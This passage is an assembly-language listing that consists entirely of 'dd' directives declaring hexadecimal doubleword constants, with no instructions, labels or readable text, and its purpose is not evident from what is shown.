		dd 24700E0Ah, 0E4959189h, 2E300E95h, 96F76B93h,	1A713AE2h
		dd 31BD3365h, 83051114h, 0E2D085A1h, 42351601h,	8C7C574Dh
		dd 90A0B6B1h, 9DE07ED2h, 7B25011Fh, 0F683B720h,	0AFD2C7C4h
		dd 301938D1h, 0A02073F4h, 0AD015FF3h, 7A44607Fh, 40F66A04h
		dd 5F88B526h, 1E7CD963h, 0E4931013h, 5BB84922h,	0BA9B2727h
		dd 0DF240C72h, 2A4726E0h, 3F44AC6Eh, 10736433h,	0AFF8B576h
		dd 3B441593h, 1B7061Fh,	500A82F7h, 359C84D7h, 0F06E3A53h
		dd 8ED84D96h, 1A6435B2h, 0EBBCF3BEh, 0FD041016h, 4E57510Bh
		dd 289F54Bh, 0F6612012h, 9E241153h, 6A248082h, 0BE756662h
		dd 0B2BB3B2h, 4EB4BB6Fh, 8A6D80C7h, 8A900FFDh, 0B3112FAAh
		dd 0E644607Eh, 420BFD6Eh, 0A0314FE2h, 0F654504Ah, 0E5C09189h
		dd 2AB4C0C0h, 6A9E58Eh,	48EB2011h, 8DF4FB1Ch, 0C28E6E68h
		dd 0ED2430CEh, 0AE8EE0E1h, 1CD5C158h, 0FD352810h, 696FF0F5h
		dd 51FEF0F0h, 0CE1694DAh, 0E8826557h, 934458B0h, 89D99F9Fh
		dd 0CC34055Ch, 2CE59192h, 7B5E58Fh, 18972010h, 734F13F0h
		dd 3C2CD8D8h, 0EC241064h, 9CD4F042h, 4C849091h,	0FC344040h
		dd 0ACE4F0F0h, 0A3C7F6F1h, 3C6F89C5h, 17ADAB00h, 90D1702Bh
		dd 47978EBDh, 0AE77714Dh, 1ED9A1F1h, 41063F0Bh,	0A860437Ah
		dd 0E8A18393h, 491DD60Bh, 8724455Bh, 0F8A694ACh, 2784E4EEh
		dd 9746344Ch, 0E8E49E8Ah, 2FF5C5EDh, 672D162Ah,	0F8F3BE9Ah
		dd 1FC2CADDh, 773A193Ah, 0BB62426Ah, 1CDDD6CFh,	59206F2Eh
		dd 0BE677E7Ah, 0E8ACBD9Fh, 7A000C1Ah, 8E516C2Fh, 0C9B6ABBEh
		dd 3FECE2EAh, 895B6B5Ah, 0AB878E8Ah, 3AF6EDDCh,	63172A3Bh
		dd 0DF939B8Dh, 0ED0EDAFh, 4F372A3Eh, 0A36E6160h, 48C2D2DAh
		dd 4A0C3D5Dh, 0B47A6D6Fh, 0F387CEBBh, 53260A16h, 8F434B5Dh
		dd 0EFB799DFh, 2EEEE7C9h, 89464A7Eh, 0DF978C86h, 5BD3EDFAh
		dd 4D362B08h, 0E8949196h, 6BC4D7C6h, 5D253818h,	9F646166h
		dd 7BD4D0D6h, 66150828h, 0B7647970h, 0E7A88BAAh, 5610331Ah
		dd 0AC216C4Ah, 0F49CA9BAh, 2EEDF8EBh, 9F5F5C77h, 0ABA08883h
		dd 8E5F8D8h, 6E353E36h,	0C999B892h, 4D4CFCAh, 1B11252Dh
		dd 9F746948h, 3DC0D1DAh, 65050006h, 9A75717Eh, 0FFA58BCFh
		dd 4B1D192Bh, 83544D7Fh, 0FE97DC9Eh, 39E5DAFBh,	955F554Ch
		dd 0DF85ABEFh, 28E2F9C9h, 4E2E2326h, 0FCEFBA87h, 4C9DFCAh
		dd 7E222E33h, 0A5996546h, 0ECED6CCh, 6B310407h,	0AE6A5C1Eh
		dd 0EED1A299h, 7E1C0C11h, 897A5947h, 0E3BDB4AAh, 2513CC8Eh
		dd 0BB435A5Ch, 0C9B08782h, 3BE0D79Eh, 6856072Ah, 0C39C9B8Ch
		dd 0BD3AAEFh, 7F270C2Eh, 8F984579h, 79CBD6D4h, 473B1A22h
		dd 0BC62735Bh, 0F9CEAB80h, 78091414h, 8C6E652Dh, 0F6BC8AB3h
		dd 3A0DEFEEh, 965C6A3Dh, 0DAAD8F8Eh, 30C8A8AEh,	94A393Fh
		dd 0DA828BADh, 5AEEDAC8h, 6128176Fh, 0ADAF0979h, 11EBDDDDh
		dd 7B5D0C00h, 0B14B6D79h, 0FCFCACA0h, 5A040B08h, 9B785D59h
		dd 0FD9ED99Dh, 2414CFF8h, 91426959h, 0DAB89D82h, 2CE8CA9Ch
		dd 6D51200Ah, 0DD8191A8h, 0DF0FBACh, 4D4C2839h,	0B79D6562h
		dd 0C9D1EDh, 4E1A0E24h,	810C7D77h, 0F2C8BAA2h, 5B2D141Ah
		dd 0E77F4747h, 0E3A5AA8Ch, 2B15CEEEh, 8362385Eh, 0D2B68CAAh
		dd 25DCECE8h, 6B553E22h, 0C48E909Eh, 2F0C8FFh, 63055735h
		dd 0A79E7548h, 1FEDD2CEh, 685B0206h, 0B379546Eh, 0D6DEB3ABh
		dd 53081808h, 0A81B5459h, 0F3B994AEh, 161EF3EBh, 93485848h
		dd 0DE9E9499h, 15FFD99Ah, 725A2238h, 0D58FA59Fh, 8F5CFDEh
		dd 5B3E185Ah, 0ACAC766Bh, 13E5C1DCh, 5139033Ah,	0D5647970h
		dd 0F5F5B287h, 5C2C181Ch, 0AB1A4345h, 0F0BA99ADh, 2A08D6E7h
		dd 8659535Ah, 0C0B189BDh, 21C496F7h, 6B5F3606h,	0C18A90AAh
		dd 65F7CAC0h, 67192117h, 0A79C7166h, 6C0E3CCh, 4838101Ch
		dd 0BB647055h, 0CAB9BCBAh, 511C240Ch, 9D4A5C5Ah, 0F9ACA1ABh
		dd 2B1FEBC1h, 8048584Ah, 0A4B78A81h, 26DEE1D6h,	525C3121h
		dd 0C19C8691h, 1D5C8C9h
		dd 6D3A3B35h, 0AF8C5608h, 10C1DAE2h, 703D0008h,	0BD616663h
		dd 0C2D790A0h, 60010719h, 8D715653h, 0C09FD4B0h, 220CD7C6h
		dd 835D4045h, 0CCB487E7h, 3CFBF1E4h, 775D2F24h,	0DD8890F7h
		dd 17F4C6C9h, 67223457h, 0B6846C6Fh, 13C9CAD4h,	5057060Bh
		dd 0D2717073h, 0E6D9A6B5h, 51080076h, 0E263464Dh, 0F7B3BD9Fh
		dd 3612EDF4h, 81485F75h, 0CCB6AB83h, 52E2FFF2h,	67432D0Fh
		dd 0C6839C84h, 21E2C7E1h, 77283C39h, 0A5937665h, 5C7C6E6h
		dd 4F1F6200h, 0BF747761h, 0F1F9B6A0h, 31271C10h, 84624C6Ch
		dd 0E5A3BCA7h, 2F13F2CAh, 0B04A4060h, 0D5B8ABE5h, 34E8E0F0h
		dd 60531031h, 0DD8CB791h, 25D4A1C0h, 58151003h,	84DB3336h
		dd 22A5FDF8h, 4C160601h, 9B60627Bh, 0D2B5B8A1h,	402A1611h
		dd 855E4F41h, 0D1BD94ADh, 2710D384h, 82404465h,	0CCB4B79Dh
		dd 28C0F4E1h, 65674105h, 0C481A393h, 15F8C1F2h,	513C1531h
		dd 0BA1D8304h, 7F57898h, 0F7546063h, 0CC205C9Eh, 7ADEC0A9h
		dd 45372022h, 8FD8AB26h, 0DB940458h, 6D25C0E9h,	72B1CF60h
		dd 1CD4D0CFh, 0DA7B9C57h, 0FF046CE6h, 6CEC3470h, 0F6112DF4h
		dd 3C446046h, 0BE9E50FCh, 0FB5BBED8h, 1E644C2Bh, 4A0BD097h
		dd 7EB4C052h, 4E301822h, 0A9F2022h, 424FD0B8h, 3E1CC0E8h
		dd 84242032h, 9EBEB2E0h, 4EE4C4FAh, 0AF342A42h,	3B1BA0A1h
		dd 5EA48C2Fh, 9BBB090Dh, 0BDC42BCFh, 31D04F34h,	8D4EDEAh
		dd 0C1E71021h, 6DB4554Ch, 0FC677041h, 0FEB7376h, 0A1B9555Ah
		dd 0B2F980B1h, 0ED242B09h, 622BB409h, 0DC011B6Eh, 7034706Dh
		dd 0ADFF757Eh, 0A2D748A1h, 88CFAFAEh, 0BCC42C80h, 77283F3Dh
		dd 2EBC6060h, 47FBEFEFh, 4C984545h, 58A4F570h, 459BAD2Bh
		dd 64C4D0CBh, 0C38B7F9Dh, 2F7BF7BBh, 9CD408B5h,	0CDD99090h
		dd 0CC2EC6ADh, 212DC3F0h, 6CB44025h, 5D100150h,	0EAA55051h
		dd 47A52550h, 1FD3606Fh, 691EF2Bh, 26B4F094h, 7E6474ADh
		dd 0DB1420F7h, 66458DCFh, 3B449ACAh, 7EA9CF45h,	9BE4FA5Fh
		dd 6B49C2DFh, 0FB1E401Bh, 0CDE8346Ch, 41522558h, 2B89507Fh
		dd 0A13B7A38h, 6B87AF9Fh, 0D80E5F75h, 0CA690E65h, 84C8C40h
		dd 0AE76906Bh, 0B3E36BDFh, 8BC3CFC4h, 3828AFF4h, 5EAE137Fh
		dd 9BE3C53Bh, 4A8F3504h, 71B83F3Fh, 0ABE3EEE7h,	90B8679Ch
		dd 0F888C42Fh, 0BE869F59h, 80574CE8h, 1495DD9Dh, 98D68558h
		dd 2FE27234h, 79332E05h, 4EEDE175h, 8BF2E252h, 0B07EBAFCh
		dd 0DB0E27BAh, 1805F5DFh, 4C458965h, 0FBDA3E55h, 68E1B966h
		dd 77650BF6h, 8F474E7Fh, 7BC2F5F7h, 0E2BB1DEDh,	2B7DAACAh
		dd 46E3FA0Fh, 851BDCFDh, 0E88018A6h, 0DB11F54Ah, 0A9CCDCFh
		dd 0B6A0B92h, 10BCA62Fh, 18D1EDF3h, 4B89A9F3h, 0FB88B930h
		dd 4760EDEFh, 5B919F97h, 0A45251Bh, 2E0FFCFFh, 6B908086h
		dd 9FDDA0D4h, 0CB01082Bh, 7BDAECBFh, 2B606887h,	8F424A1Fh
		dd 1E3F9BCFh, 3B40505Ah, 7CADE51Ch, 9BD0DDDBh, 49EADDDEh
		dd 9331566Eh, 0EBE0ECEFh, 0AA0563CDh, 9D407C64h, 0E09B0D7Ah
		dd 6FF7FFFFh, 4C4F5B5Eh, 0EADBBFF0h, 85AFBBBCh,	1A73B2FBh
		dd 1A8A421Eh, 9E5CDDBAh, 50BBF02Eh, 0BD4E792Eh,	0EF5A2488h
		dd 137FBBA2h, 2A5AFBBBh, 674A14B8h, 0D78FABB5h,	5D6D0F19h
		dd 37B6BE94h, 6A9FAE39h, 0DA7DF15Eh, 3AA71A64h,	29FEEA16h
		dd 790E3A3Dh, 209BE54Fh, 8BEFAE6h, 396C72B9h, 0CD6AD52Dh
		dd 505B25D5h, 1A7EBAA1h, 0D5E7AFC2h, 6B83EADDh,	670E9A99h
		dd 4F3F3F47h, 0AC917476h, 707EA99Dh, 94DCCD0h, 19FE093Dh
		dd 0FC7F46EAh, 0D7D566ACh, 0D70D191Ch, 88BD3948h, 253F97Ch
		dd 685B3959h, 1CC2D9E2h, 487D896Dh, 8D0D07BCh, 965CAF1Dh
		dd 1FC3D0CCh, 0C7B66B39h, 0F7EDBE3Ah, 2CD6687h,	4B1A095Ch
		dd 0EB3D9DF3h, 4CF5B88Bh, 98D967AAh, 3E0C181Bh,	87BCC87Ah
		dd 653C46FAh, 62137E62h, 97CCD87Eh, 0EB744E08h,	73233507h
		dd 0A7DCE872h, 0A4F9B8A7h, 80674E7h, 0B7EB7B7Eh, 47960AABh
		dd 2A6B777Bh, 0B29E602Ah, 4A07C8CFh, 0A727124Ah, 0BE2BE864h
		dd 0F7CEB3BEh, 466809FBh, 93340810h, 698C11B2h,	0FC4A888Ah
		dd 0F62B102Ah, 5989051Dh, 66A7FE0Fh, 56FB744Ah,	5EBAA6AAh
		dd 669AA6A3h, 783D391Eh, 0A19B6966h, 0A43F49B9h, 0A05A5645h
		dd 0E63C62D9h, 7E3F4F00h, 646A4655h, 0E5192641h, 0C39B875Dh
		dd 90EF79D9h, 782A0615h, 95C1967Ch, 9CB9C699h, 576A171Dh
		dd 2016A4A8h, 65A989A8h, 0EA6D51DEh, 0F4D2C89Ch, 0F46A4DB8h
		dd 144C0AE5h, 17F01418h, 809D9943h, 34697590h, 9987828h
		dd 94F9C8A5h, 743A3803h, 41A23508h, 0A4E9D5A3h,	0D9026E9Bh
		dd 409750Fh, 3163510Bh,	64A894EBh, 2477C1D3h, 46FB0438h
		dd 73988480h, 0AB3066EEh, 2C081404h, 0B394AD52h, 6FA19F77h
		dd 8A6E4163h, 0C394B1B4h, 2A0BFDEFh, 0BE445554h, 0D1B78982h
		dd 81BB94EEh, 0F56A8BCCh, 5264A12Eh, 60D7C9A4h,	791504AEh
		dd 79428E1Fh, 0CBA783ABh, 22576371h, 2C4A179Bh,	0E4483C39h
		dd 7F63FEDDh, 0E2172326h, 0D54A78B0h, 0A6452882h, 108C559Ah
		dd 91426E1Dh, 687A3A6h,	0FD65452Ch, 82CA6B63h, 46E229A6h
		dd 0A82D15Eh, 44F9C283h, 71A6B310h, 13E620Fh, 87061214h
		dd 1449C9AFh, 31565ED4h, 6A1A7CAEh, 0C4FC29Bh, 4146B2B2h
		dd 0C11DBFBCh, 4257E2D5h, 5E796295h, 15C1114h, 41AF79Fh
		dd 61A59196h, 3D00C4AAh, 3FA50135h, 40958201h, 0EDC09E64h
		dd 8805213Fh, 8F260141h, 306425F0h, 0DB944724h,	9CB18B99h
		dd 2DE07ED7h, 19250118h, 0A0D5E0A5h, 504D2F19h,	0B73A4144h
		dd 0C469EEBAh, 64FCBF95h, 47445055h, 93D595FBh,	38F2B083h
		dd 34BDF59Ch, 8C8F1023h, 0F477C3FFh, 0FC670823h, 543452A8h
		dd 0BB49C899h, 3CD9D1B0h, 0EE5CB1F0h, 0EDB1B386h, 0BD6695E7h
		dd 0D699AB1Ah, 0DD6FD4FFh, 0AC97F987h, 5802D8h,	0BDBA04B4h
		dd 0EC903B61h, 50DF9361h, 0F1B1991Ah, 0F5B4F0F2h, 19D14B44h
		dd 0AC141012h, 0B971FB51h, 574B0B2h, 0DE140B87h, 0EF57EFE2h
		dd 7D7B6F6Dh, 0BD81C982h, 27E4C0C2h, 6EA4E72Fh,	64140052h
		dd 0BC9E5001h, 6DA4B0D9h, 98AB37E1h, 0CD340569h, 5645553Eh
		dd 0A09B7041h, 0DD243559h, 823B2852h, 0C28BBB05h, 0DEA1B9CEh
		dd 0F7D4D0D1h, 1B84FA91h, 9CA1BF11h, 26E4C0DDh,	6DA4E724h
		dd 0FA49151h, 0BC9E5051h, 4099254Fh, 99DD6050h,	0CC34205Bh
		dd 7CDE144Bh, 7C568F22h, 0EC2795DFh, 193BD0E0h,	3C44ACD9h
		dd 0DC17B5BBh, 985DE0D0h, 81116FB4h, 7734706Bh,	196FCCA3h
		dd 5CA490EBh, 385E04DBh, 2EDFFE8Bh, 6B948098h, 2B13EDD4h
		dd 0E0A9103Fh, 81566B7Dh, 3610F5E2h, 8A45202Fh,	0DA95809Ch
		dd 17751580h, 1474301Fh, 0ABFF2D4Ah, 38A1538Fh,	9E0E6A05h
		dd 0C7869181h, 1BAEC4FAh, 6721383Ch, 95C1CC93h,	47CFC3CBh
		dd 48536E72h, 8E575C56h, 0EF0E3F2h, 45061D1Dh, 0B57C5C6Bh
		dd 0E7ACBDBBh, 67071A2Ch, 9D514A7Ch, 0E8B6BCB6h, 2AEBDCD3h
		dd 0BA575A4Dh, 0D8868C8Ch, 3AC3C3ECh, 6E2E2E3Dh, 0C8809B8Bh
		dd 19CBE8F3h, 7733293Ah, 0A76D5E63h, 27CBDDD6h,	45031A3Ch
		dd 0BF607F7Bh, 0EDADBC9Fh, 67171216h, 83565B6Eh, 0E1BBACB0h
		dd 3BC3EAEAh, 985B524Fh, 0C48B9A8Eh, 17CEEDF1h,	0B363D26h
		dd 0EFB7B2ACh, 2EF3ECF8h, 78381003h, 0A472627Dh, 2CEDC9D9h
		dd 44050306h, 984D6E68h, 0EEB3BFBAh, 5E270911h,	84485E5Dh
		dd 0E39481B1h, 39EEE1FFh
		dd 0AF314F5Ah, 0CE869F8Eh, 28FED5EBh, 0B434D3Bh, 0BBF0ACFFh
		dd 19D0ACAFh, 76392430h, 0A0746221h, 0BDCD2CDh,	4509420Eh
		dd 95107379h, 0AB8B8F86h, 57171E07h, 82465F40h,	0DE8389D5h
		dd 1FAACDDh, 0DB7E7570h, 0D9899AC9h, 51A3E9EBh,	0B40A41Ah
		dd 3AB2FBFFh, 5BBF4D42h, 74CA9D5Fh, 0CAFF3B1Ah,	56822E41h
		dd 0C29E6B5Eh, 0B05E6F01h, 6B0A40D0h, 636F4B55h, 9F311782h
		dd 0A44EBDF4h, 690A9671h, 0D6DE86B3h, 0DC54EBDEh, 3C2ACC9Ch
		dd 4BAC6EBh, 35EECAD5h,	5AB59E2Bh, 5CC7A05Eh, 37B086F4h
		dd 9BAF0B46h, 0D6EBE7A2h, 0B10E2A31h, 89BECBC9h, 0FB852Bh
		dd 1E1A01h, 99CEDA54h, 5CD70F00h, 937E3A0Dh, 56D080EDh
		dd 69A2D308h, 2D42C94Dh, 0C898FDF5h, 699DA145h,	5A0B0A5Dh
		dd 84B14D23h, 653846BCh, 235D5940h, 0B2196DDCh,	0E05599CEh
		dd 0C7928685h, 0D836F0B9h, 0EC0D5CDCh, 0A0AD768Eh, 0F82D3937h
		dd 0F79EAFBFh, 1CA3CAD3h, 0F73D0500h, 88C0E569h, 91DD40ACh
		dd 0ADC1A7A3h, 0C7CC24F3h, 77ADBCD3h, 0B2A33E6Bh, 0D73C343Ah
		dd 87BCC523h, 6528247Bh, 0B5597E62h, 0C3898488h, 0B82A88C8h
		dd 0C707D1AEh, 0A7DB00EBh, 1FD0989Bh, 54681B04h, 2214A1FBh
		dd 67AB8C42h, 461A9E68h, 0ACAA0461h, 76ABDFBBh,	0D90D276Ah
		dd 0E620E68Fh, 794344CAh, 0BB3B540Eh, 0D637D8BFh, 0D465ADAh
		dd 2C7BB7ADh, 0EC43653Ah, 0F7DBE7EAh, 231E68CAh, 0F93B7766h
		dd 86C13B6Fh, 66914EAAh, 451F565Ah, 0F7C9544Fh,	39E6F297h
		dd 64CF9969h, 3D0A2635h, 85BAC6C3h, 471A050Eh, 836E4840h
		dd 6A9AD698h, 75515F1Ch, 10AFBF39h, 0AADAD6C2h,	7071BA8h
		dd 8C3A7650h, 85C5027Ch, 0F066F4A9h, 15797918h,	0C4FD6D9Ah
		dd 0C124B5B8h, 24697C37h, 9B49841h, 6CB9F5E4h, 0CB968784h
		dd 409CE24Eh, 94C9E5F8h, 0E2DC06D8h, 0F4290518h, 84BD7065h
		dd 0D995A8h, 4534422h, 0B4EA9CAAh, 0F16724A8h, 147878B9h
		dd 0B6A2C48Dh, 0E4253995h, 71585447h, 6685127Dh, 8388E463h
		dd 63382223h, 76E77676h, 93F8F832h, 9EED7BDFh, 3528041Bh
		dd 93F61A62h, 3D609497h, 0FCC7BBB5h, 83F58E7Ah,	2F1264A7h
		dd 45476342h, 2AC45C53h, 8D5841EFh, 371BE6A1h, 86511326h
		dd 0C85FF799h, 0F5988C84h, 0D2026FA3h, 0CDBF85D6h, 0B04C6BB2h
		dd 77E0CCC9h, 0A2E7F6AAh, 6F1F6C0h, 87BA8A75h, 0B2D6C2B9h
		dd 33C7F3F7h, 43170306h, 0EDC397F9h, 0E459B285h, 21664E48h
		dd 0A419FAD4h, 81BA2AB1h, 79357275h, 0B1577569h, 0DD82FC9Ch
		dd 0D48982C9h, 0F1161E74h, 0A1D6EE0Dh, 2CEC195h, 60603620h
		dd 0F0808499h, 0F46AF1A5h, 11757A8Ch, 3F408C96h, 18A58198h
		dd 205561ACh, 2F057B42h, 0B099D851h, 0E2F0FC74h, 6D15113Bh
		dd 0A0E81669h, 1727D784h, 0DBC0A4CBh, 6456E1D4h, 0BF101C98h
		dd 5035715Bh, 0E6E59AA3h, 6096C8F6h, 0C3BBD054h, 400E1DECh
		dd 5D19334Ch, 1F545076h, 476C1B67h, 80B4C0D0h, 1F4819E6h
		dd 0DF18C823h, 0DC93D0D3h, 0C3FC3CCh, 0A3601E01h, 0A2BE0AFh
		dd 4FB4BCD2h, 0FF3328D0h, 1A69F0F3h, 5FA4B815h,	0A2F9DD0Ah
		dd 56F4302Fh, 915B413Eh, 1E546C8Ah, 804D4712h, 2AF18E8Bh
		dd 6228345Ch, 9F81DF22h, 0BC4E0FEh, 0BF08F42h, 7D243030h
		dd 9ED4E58Ah, 0BA311D92h, 0A734705Ah, 822D4D7Fh, 0B7CA092h
		dd 8DBBAFA3h, 8DD8CDBFh, 0E9ABB0B1h, 1D546271h,	0CC94FC90h
		dd 15E0C0C1h, 2D647170h, 0F1B9B5DEh, 4945D0E1h,	3D748111h
		dd 87F0BB61h, 82BB2E1h,	4DB4BC5Ch, 886D80C4h, 0BE6C98FCh
		dd 0C86BA0A1h, 0D747C38h, 177E2EAh, 6C949016h, 917D1560h
		dd 0FC24BA95h, 0E94B90C0h, 2C545CC9h, 581BE0A5h, 8CC4D159h
		dd 0B778C00Bh, 6314CF30h, 0ACF44665h, 0B2015690h, 0FD34706Eh
		dd 0AD8EF09Ah, 0C96BA2CAh, 0C747C95h, 0B40BF883h, 6BA5D02Bh
		dd 8ED9F35Fh, 0CB3430ADh, 28E6D0D5h, 7D1E590h, 1B91202Fh
		dd 8A8455C0h, 86F9807Fh, 0EB1410EBh, 0EA3CE86Eh, 237B6F79h
		dd 0FB3440ABh, 2202DBB1h, 0A4C084ABh, 3B6861DAh, 694E72FFh
		dd 0DAA39F8Fh, 0ED01B75Eh, 5E8EF0F0h, 7B839F00h, 3F0B6F05h
		dd 89131F1Fh, 4A56309Ch, 0B6734F53h, 66370B6Bh,	0ABE3904Ah
		dd 0FD8CDF8Fh, 0DF77B435h, 0A3032EFBh, 4992D59Dh, 41514D05h
		dd 9FB6F5FCh, 64432EA7h, 4A5ABE9Eh, 0DB264A04h,	0F6E28C40h
		dd 1B4E91D2h, 0DB0EF61Fh, 0A5E7CECFh, 15520649h, 0D102000Fh
		dd 0B5F7FBFAh, 33A7F6B7h, 0F1411B1Fh, 0E5ABA1A5h, 0A4C59EBFh
		dd 3B69ABDAh, 17357CFFh, 1A1ADAFh, 48060D5Fh, 0E7C098F0h
		dd 0F63ABD8Fh, 2B51785Dh, 0C0F21D75h, 0DACC04A4h, 3B717897h
		dd 8F040B2Fh, 6486DDD5h, 7BAA681Ah, 0F7F5BE3Fh,	0C3EA06BFh
		dd 5B919D97h, 2B99F0C2h, 0E8A7FCCFh, 47613950h,	0DBD55C6Fh
		dd 7E8D5871h, 7B809040h, 3E52C9ECh, 56101C2Fh, 0BBEE3242h
		dd 51BE577Fh, 0B8767D2Fh, 0B76D4920h, 0B3038CBFh, 6A1F423Fh
		dd 1E6D1264h, 5BA0B060h, 0A5B241FFh, 538FEB8Ah,	94605DF5h
		dd 0F858293Eh, 0CB888606h, 0B5245155h, 97D2A545h, 0DA3F37E1h
		dd 7D386F3Dh, 0C53CC295h, 0DA339ABBh, 0F5725BDEh, 4B7FBB9Bh
		dd 0CA47114Ah, 55DFEB9Bh, 6AA3F20Bh, 0F482CB4Eh, 0BAEECAD0h
		dd 0EF59BBDAh, 1A7E7AF8h, 0C9FE0A0Eh, 57503F7Bh, 0C05E6A5Dh
		dd 26F1E415h, 89BA0890h, 1791CFF0h, 16482A1Dh, 0A9E2D748h
		dd 0B686098Dh, 0F995BE32h, 2C57EAEDh, 59BEAA9Eh, 0F6684A27h
		dd 89C1A468h, 665D2CADh, 194DFDD9h, 983D220Dh, 28AED3ECh
		dd 28356806h, 8ECD191Ch, 0A34C5C33h, 0C0EE794Ch, 0DA9926D3h
		dd 11CDD9D8h, 784D8E09h, 0F3A0B43Ch, 25DDD9DCh,	68BD8A09h
		dd 626F184Ch, 2D13A8FCh, 68AC84B9h, 17B3A0DFh, 0C7F80888h
		dd 88ACD2BBh, 176C6FDEh, 0C699E71Bh, 4BCF8E7h, 0B3638783h
		dd 0E71C2BC2h, 0A7D75D52h, 8E4F88BBh, 0A77DFB38h, 0F6D882BAh
		dd 678B2D64h, 92C3487Bh, 0B7DBDC0Eh, 0E394672Eh, 174B549Eh
		dd 4372CE38h, 769B87A5h, 4E0A363Bh, 0D6041705h,	0C32E389Ah
		dd 0B36B4756h, 989F28EAh, 1FCBD7D9h, 764BA40Fh,	0BDA0F43Ah
		dd 0C6885FD2h, 84B8979Ah, 0F7CC8649h, 3363170Dh, 66AA9685h
		dd 0AE761DD1h, 0C5FA1DC6h, 0B4A9648Ah, 0C4AD979Eh, 0E52D9390h
		dd 8A79C6F9h, 0CC6C3DCEh, 0B69710CAh, 0D67DD9C1h, 0CAA859Dh
		dd 0F602F752h, 0FAE06739h, 0ACE4FFEEh, 8673583Dh, 0C7E8F983h
		dd 59D22E76h, 165D17D2h, 8074154Bh, 0AD5E4AF0h,	0A162A44Bh
		dd 0D4392503h, 0C0329C0Bh, 0BCE0795Ch, 0E4192590h, 0A50A15EBh
		dd 7457B2BAh, 0C5070516h, 0EFADABC8h, 24E5FBEAh, 6A506B29h
		dd 0BEE59B9Eh, 2F1988Bh, 7125352Ah, 0A08A7728h,	7C0968Ah
		dd 0C621413h, 987C5A38h, 0F3D4AAB5h, 5D015A16h,	91374B41h
		dd 0FAF7FBB4h, 635AB5BAh, 874C5D40h, 83E9D98Fh,	34E1F1FFh
		dd 3205302Fh, 0CA9380D7h, 41AAC6CBh, 77353C35h,	0F2CD7162h
		dd 5D9B8D94h, 4325050Fh, 0DF39767Bh, 94948CCh, 25768FBh
		dd 61599326h, 3C35D73Fh, 7DF68AF3h, 9C557842h, 29141793h
		dd 490A1868h, 0B2377376h, 0B70F71CAh, 8CE30C54h, 67696DD6h
		dd 0C0B189F1h, 0AE796D90h, 6E145FBAh, 39734B51h, 6948E98Ah
		dd 31667059h, 0E1167A4Dh, 602E89D5h, 35897D78h,	0EAABB915h
		dd 2CD6D2D5h, 9EAD93A1h, 320ACF0Bh, 36410208h, 60EB2C7Ch
		dd 36F0E4D8h, 33090135h, 0BF2E7210h, 9DD86A8Fh,	0D0353FEBh
		dd 0B36A4A38h, 5159DDBDh
		dd 9A292756h, 0B0E9D3A3h, 3429BD2Eh, 840B0DD8h,	0D5D5DD39h
		dd 0DBB8727Ch, 53B08745h, 0B0E4C0C4h, 25CCE599h, 2D762454h
		dd 0BFA64357h, 90819BC7h, 22549F9Ch, 0CF49445Bh, 2F89D2B7h
		dd 5B64203Bh, 8C551D28h, 0ACBD083h, 0C08B7EC2h,	0DF77B5CDh
		dd 0AC3FE0D3h, 0B07A0F7Ah, 0C237CBBCh, 0ECAAB9A4h, 0A1B324ACh
		dd 5879AFACh, 0B1BA5540h, 915AAC36h, 5D035D9Dh,	4A0B2221h
		dd 814B3ED3h, 7A37204Fh, 0D8902F6Dh, 0BD3B2F2Ch, 0C35A6859h
		dd 6A2BCFCDh, 612B1D1Bh, 586C42A1h, 16344042h, 511B0EABh
		dd 5E94A04Ah, 0E3C50D52h, 0BDC4293Bh, 6DA58258h, 2FAB0461h
		dd 0FD27A59Ah, 0F4D0C0F1h, 7ED9F053h, 0DC141011h, 232CDAA4h
		dd 0D48B7F7Fh, 0ED243122h, 0D0EA6187h, 45019FCBh, 76344040h
		dd 73E7CCAFh, 0DAF21C7h, 0F5C15F14h, 4BF40001h,	4CA4A6F3h
		dd 995B6060h, 0CC0410FBh, 7EE88336h, 2C85F47Fh,	0A2952020h
		dd 0ACE4F0F0h, 0E8F08FA0h, 4243030h, 632B1D47h,	4C4D129Fh
		dd 0BEBF4040h, 0BCAE7BF8h, 58E7618Bh, 9AF9063h,	0F17DC803h
		dd 402139BFh, 0F354506Fh, 34FBED59h, 7BB46F57h,	0CF9FB6Fh
		dd 0D814102Fh, 0BBF4FB52h, 0C71A687Fh, 6F2BCFD0h, 9BD4E050h
		dd 7BA72504h, 0A5BF400Fh, 433AF3D3h, 0A46B5DC8h, 41C52D3Dh
		dd 0BBF39FDBh, 3D5D244Fh, 9647255Ch, 0FB130FBAh, 6BC9BCBFh
		dd 2B659CD6h, 7EE0481Fh, 8920CE7Eh, 652CDB8Ch, 7912207Dh
		dd 9B515852h, 0C2E58F8Fh, 4CCA4AFh, 4E330710h, 0D0C96060h
		dd 41404305h, 0BDB373EFh, 0E28AED84h, 1B5201D8h, 0EB44C90Fh
		dd 5B929E9Fh, 0A04A25E6h, 5E990E55h, 8BF2FEE8h,	487A3446h
		dd 0E368A72Ch, 18C29CDEh, 0C082D6ECh, 0CB0211BAh, 0A3A0EFEFh
		dd 68C2DD9Eh, 29C92A9Dh, 0E3F3729Bh, 5BA6102Ch,	14515D6Fh
		dd 34FD998Bh, 58044240h, 0D4615D5Fh, 0EB3D708Ah, 947432CFh
		dd 0C4714D4Fh, 0DB0AE0BAh, 905C50DFh, 0C681BDBFh, 0CB012EAAh
		dd 0C1B3BCEFh, 5C24629Fh, 0F4417D7Fh, 8BDC996Ah, 6C1553AFh
		dd 0E4506C6Fh, 0FB2BC19Ah, 840531BFh, 0D4605C41h, 0EB201FAAh
		dd 1E3F9ACFh, 3B405022h, 0DB2789ACh, 58D0DCEFh,	4B808C67h
		dd 0FA5A613Fh, 810D016Eh, 0ABC89CAFh, 73C58D40h, 3EEFCBEAh
		dd 0A31C686Fh, 0DA40ABA0h, 0FAEA738Ah, 6A9278BEh, 5F5F416Eh
		dd 0A68E7D02h, 0FBD3C7EAh, 0D20F680Bh, 15E0D4EAh, 0C127DEABh
		dd 0A2807473h, 5D0C4ECh, 8720C58Fh, 48BBCDE6h, 0A3F6EF6h
		dd 1F069AFEh, 1F615551h, 3E0AD167h, 364B873Eh, 0F2AE8A93h
		dd 0A838623Dh, 0AA0C1C27h, 89D69CE8h, 0B26E857Dh, 0BB1E40E9h
		dd 305B258Dh, 0CA7EBAA1h, 0C7AF32F9h, 0F5E1D5B1h, 9F0D99E8h
		dd 0F436A249h, 0C6050602h, 8625652h, 1939E19Eh,	7916090Dh
		dd 78AD9604h, 284D816Ch, 0F8CF191Ch, 888D71CCh,	3B85797Ch
		dd 2A1D292Ch, 0CC40D9F8h, 66B085A8h, 842DC1BFh,	0A83589F5h
